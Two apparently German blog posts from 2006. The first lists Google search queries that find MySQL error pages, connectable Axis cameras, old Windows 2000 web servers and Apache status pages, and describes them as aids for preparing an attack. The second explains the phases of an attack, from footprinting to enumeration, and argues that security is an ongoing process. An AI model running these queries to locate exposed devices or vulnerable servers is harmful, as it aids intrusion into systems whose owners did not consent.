Jeder kennt Google und für die meisten ist es aus unserem Alltag schon nicht mehr weg zu denken. Die Trefferquote bei den Suchergebenissen sind einfach phänomenal. Man ist auf der Suche nach einem unbekannten Begriff, tippt diesen schnell bei Google ein und wird sehr schnell eine treffende Antwort zur Erklärung finden. Die Suchmachsine Google ist ein mächtiges Werkzeug, welches immer weiter entwickelt wird und bessere, präziesere oder schnellere Suchalgorithmen verwendet. S

Sollte man ein Problem mit dem PC haben, sucht bei richtig gewählten Suchbegriffen Google schnell eine passende Anwort in den zahlreichen Foren im Wolrd Wide Web. Durch die komplexität die Google mit seinen ganzen Befehlen zu lässt, wundert es einen schon garnicht mehr, das es mehrere Bücher gibt, die sich damit füllen.

Allerdings kann auch google.de gerade durch seine Einzigartigkeit Dinge zu finden, auch ungesicherte Dokumente, Datenbanken Webadministrationoberflächen, Passwörter etc. finden. So kann man mit einer einfachen Google-Abfrage zu MySQL-Fehlemeldungen kommen, die einem beim Vorbereiten eines Angriffes von Hilfe sein können:

"Warning: mysql_query()" "invalid query"

Oder mit

intitle:"Live View / - AXIS" | inurl:view/view.sht

lassen sich Kamera Modelle der Firma Axis finden, mit denen man eine Verbindung herstellen kann. Genauso ist es möglich nach verwundbaren Webservern zu suchen z.B.

intitle:"Welcome to Windows 2000 Internet Services"

oder man sieht sich die Statistik von einigen Webseiten an. Hierzu bieten sich z.B. folgende Abfragen an:

inurl:server-info "Apache Server Information"

"Generated by phpSystem"

Den Möglichkeiten die es hier gibt sind natürlich keine Grenzen gesetzt, von daher kann man hier seiner Kreativität freien Lauf lassen. Eine gute Anlaufstelle für weitere Information ist wohl die Seite von joony.ihackstoff. So sollte man sich z.B. sein Guide zu Gemüte führen. Da solche Abfragen immer beliebter werden, gibt es mittlwerweile sogar schon Anwendungen die solche Abfragen stark vereinfachen. Eine solche Anwendung ist z.B. "Google Hacker 1.2" von urb23 und dev, welche man von der Webseite http://dav.asymetrixs.net/ beziehen kann. Der Suchmaschinenprimus Google überrascht immer wieder aufs Neue, so z.B. vor kurzem mit der Codesuche Google Codesearch, mit der es möglich ist per Eingabe beliebiger Suchausdrücke nach Quelltext-Schnipseln suchen. Dabei sind auch reguläre Ausdrücke eralubt.

Dennoch gibt es auch hier wieder Möglichkeiten die Effektivität des Suchalgorithmus auch für andere Zwecke zu nutzen, so gebe die neue Suchmaschine Angreifern ein Werkzeug in die Hand, besser und schneller nach typischen Programmierfehlern suchen zu können, um die daraus resultierenden Sicherheitslücken für Einbrüche in Systeme auszunutzen[1]. Eine Webseite die schon Beispiel-Abfragen hierzu liefert ist http://www.cipher.org.uk.

Schnell wird einem klar, das Google wohl auch in Zukunft noch für viele Überraschungen gut sein wird und man von daher die Entwicklungen im Auge behalten sollte.

Sicherheit ist ein Prozess und kein Zustand

nospam@example.com (Daniel) — Mon, 25 Sep 2006 15:39:00 +0200

Sie sind Sicherheitsverantwortlicher für eine Bank. Nun wollen Sie diese Bank
vor Einbrechern schützen, damit diese die Bank nicht ausrauben.
Hierzu versetzt man sich in die Lage des Verbrechers und stellt sich
die Frage: Wie würde ich als Einbrecher sichergehen das 1.) der
überfall Erfolg hat und 2.) das ich nicht verhaftet werde?
Zunächst würde ein Einbrecher wohl versuchen, sein vermeintliches Opfer
zu observieren und so viele Informationen über die Bank und seine
Angestellten zu erlangen, wie irgend möglich.
Dabei konzentriert er sich zunächst auf die Dinge, die von außen gut
ersichtlich sind, wie z.B. alle Ein- und Ausgänge der Bank.
Diese Möglichkeiten des Zutritts würde er dann auf eventuelle
Schwachstellen hinuntersuchen, die es ihm möglich machen, unbemerkt in
die Bank zu gelangen.
So wäre es denkbar, dass dieser anschließend die Sicherheitsmaßnahmen
der Bank sowie das Personal und die Wachen einer genaueren Observation
unterzieht.
Mit Zuhilfenahme eines Konstruktionsplans des Gebäudes, könnte dieser
sogar noch einen Schritt weiter gehen und somit auch Lücken in der
Konstruktion des Gebäudes oder einen von außen nicht ersichtlichen
Zugang zur Bank finden.
Die gesammelten Informationen wird er dann einer intensiven Analyse
unterziehen.
Dabei ist es ihm möglich, Verhaltensmuster, Regelmäßigkeiten und
Abläufe darin zu erkennen.
Somit kann er weitere Schwachstellen der Bank und deren
Sicherheitsmaßnahmen determinieren.
Diese Liste kann man ewig weiter führen, bis man verschiedene Phasen
durchlaufen hat und schließlich zum Ziel kommt, dem Einbruch in die
Bank.

Damit wird einem schnell klar, dass ein erfolgreicher Angriff sich wohl
kaum ohne eine große/intensive Planung bewerkstelligen lässt.
Dennoch hat die Sache einen Haken. Ohne ausreichende Informationen über
sein Opfer, scheitert eine gezielte Planung und somit auch mit aller
Wahrscheinlichkeit die erfolgreiche Durchführung.
Dies lässt die These aufkommen, dass die Informationsbeschaffung
maßgeblich für den späteren Erfolg oder Misserfolg der Tat entscheidend
ist.
Wenn sich sein potenzielles Opfer als Fort Knox
herausstellt, als das man darin mit vertretbarem Aufwand einbrechen
könnte, so könnte ein Angreifer schnell vom Gedanken eines Einbruches
absehen und erst gar keinen Angriff durchführen.

Genauso wie es sich in dem hier geschilderten Szenario verhält, so ist es auch mit der Sicherheit in der Informationstechnik.
Ein vermeintlicher Angreifer auf eine IT-Infrastruktur
oder ein IT-System würde genauso vorgehen wie der Bankräuber und
versuchen so viele detaillierte Informationen für das System zu
erhalten, wie nur irgend möglich.
Dabei läuft ein solcher Angriff meistens in 4 Phasen ab, die sich je
nach Situation bzw. Fall auch durchaus komplexer oder anders erstrecken
können.
Die erste Phase befasst sich meistens mit dem Footprinting,
also der systematischen Vorgehensweise ein vollständiges Profil der
Sicherheitsvorkehrungen der anzugreifenden IT-Infrastruktur
zusammenzustellen.
Dazu zählen unter anderem whois -Abfragen,
physische Sicherheit sowie das Herausfinden von IP-Adressen. Oft werden
diese Teile auch zu einer komplett neuen Phase zusammengefasst, das
dazu führt, dass die Anzahl der Phasen zunimmt.
In der zweiten bzw. nächsten Phase beschäftigt sich der Angreifer mit
dem Scanning, dieses wird oft auch als Auskundschaften des Systems
bezeichnet. Dabei werden unter anderem Teilphasen wie Mapping, Portscanning, Application Mapping, Fingerprinting etc. durchlaufen. Genau wie schon in der ersten Phase, werden diese Teilphasen oft zu einer zusätzlichen Phase ausgelagert.
In der dritten bzw. der darauf folgenden Phase, beginnt die Auswertung
der erkannten aktiven Dienste/Services, welche ausführlicher nach
Schwachstellen abgesucht werden. Dieser Prozess wird auch oft als Enumeration bezeichnet.
Diese Phase knüpft direkt bei der vierten bzw. letzen Phase an, dem eigentlichen Angriff.
Dieser kann je nach dem, sich auf die Systeme, das Netzwerk oder die Software beziehen.

Daher versucht jeder Firewall-/Router-Administrator sich in die Lage
des Angreifers hineinzuversetzen, damit er die Gefahren besser
abschätzen kann.
Aufgrund dessen, versucht dieser sein System so zu konfigurieren, dass
er schon möglichst früh (am besten in der ersten Phase) einen Riegel
vor die entstehende Gefahr schiebt. So kann er theoretisch den
Durchlauf der weiteren Phasen aufhalten. Meistens lässt sich das aber
nur schwer realisieren und wird deshalb erst in der zweiten Phase
angewendet.Anschließend testet der Administrator seinen davor geschobenen Riegel auf Anomalien seiner erstellten Sicherheitspolitik.
Nicht selten kommen Programme wie Nmap, hping, Packit oder Netcat zum Einsatz, um solche Szenarios zu testen.
Ist die Firewall erst einmal im Einsatz, scheint es keine Gefahren mehr
zu geben und der Kunde/Arbeitgeber wiegt sich sicher in seiner Umgebung.
Der geregelte Arbeitsablauf kann wieder vonstatten gehen.
Doch dem ist nicht so. Ein jedem Administrator sollte bewusst sein,
dass Sicherheit ein Prozess ist und kein Zustand. Täglich werden neue
Lücken in Anwendungen gefunden, denen meist auch schnell Patches
folgen. Diese gilt es zu installieren und so die Systeme immer aktuell
zu halten.Eine
Firewall die gestern noch aktuell war und vor allen erdenklichen
Attacken schützte, kann schon morgen Lücken aufweisen und so schon
selber die Ursache für einen unerlaubten Zugriff sein.

Denn wenn es mal zum GAU kommt, schaut der Administrator ganz schön
dumm aus der Wäsche, wenn diesem die ganze Schuld zugewiesen wird.
Durchaus kann es sein, dass dem so ist, doch ein oft nicht
berücksichtigter Faktor sind Systemanomalien der ersten Art. Über diese
hat man grundsätzlich keinen Einfluss.
Hat der Administrator nicht geschlafen und seine IT-Infrastruktur
genauestens analysiert, sollten auch solche Hürden schnell erfolgreich
gemeistert sein und der geregelte Arbeitsablauf kann wieder vonstatten
gehen.

Eines ist sicher: So lange Administratoren das Thema IT-Sicherheit auf
die leichte Schulter nehmen und glauben das Sicherheit ein Zustand ist,
so lange wird es potenziellen Angreifern ein Einfaches sein, solche
Systeme zu kompromittieren.
Zum Glück aber wird seit einigen Jahren das Thema "Sicherheit in der
Informationstechnik" immer wichtiger und IT-Verantwortliche schon früh
darauf sensibilisiert.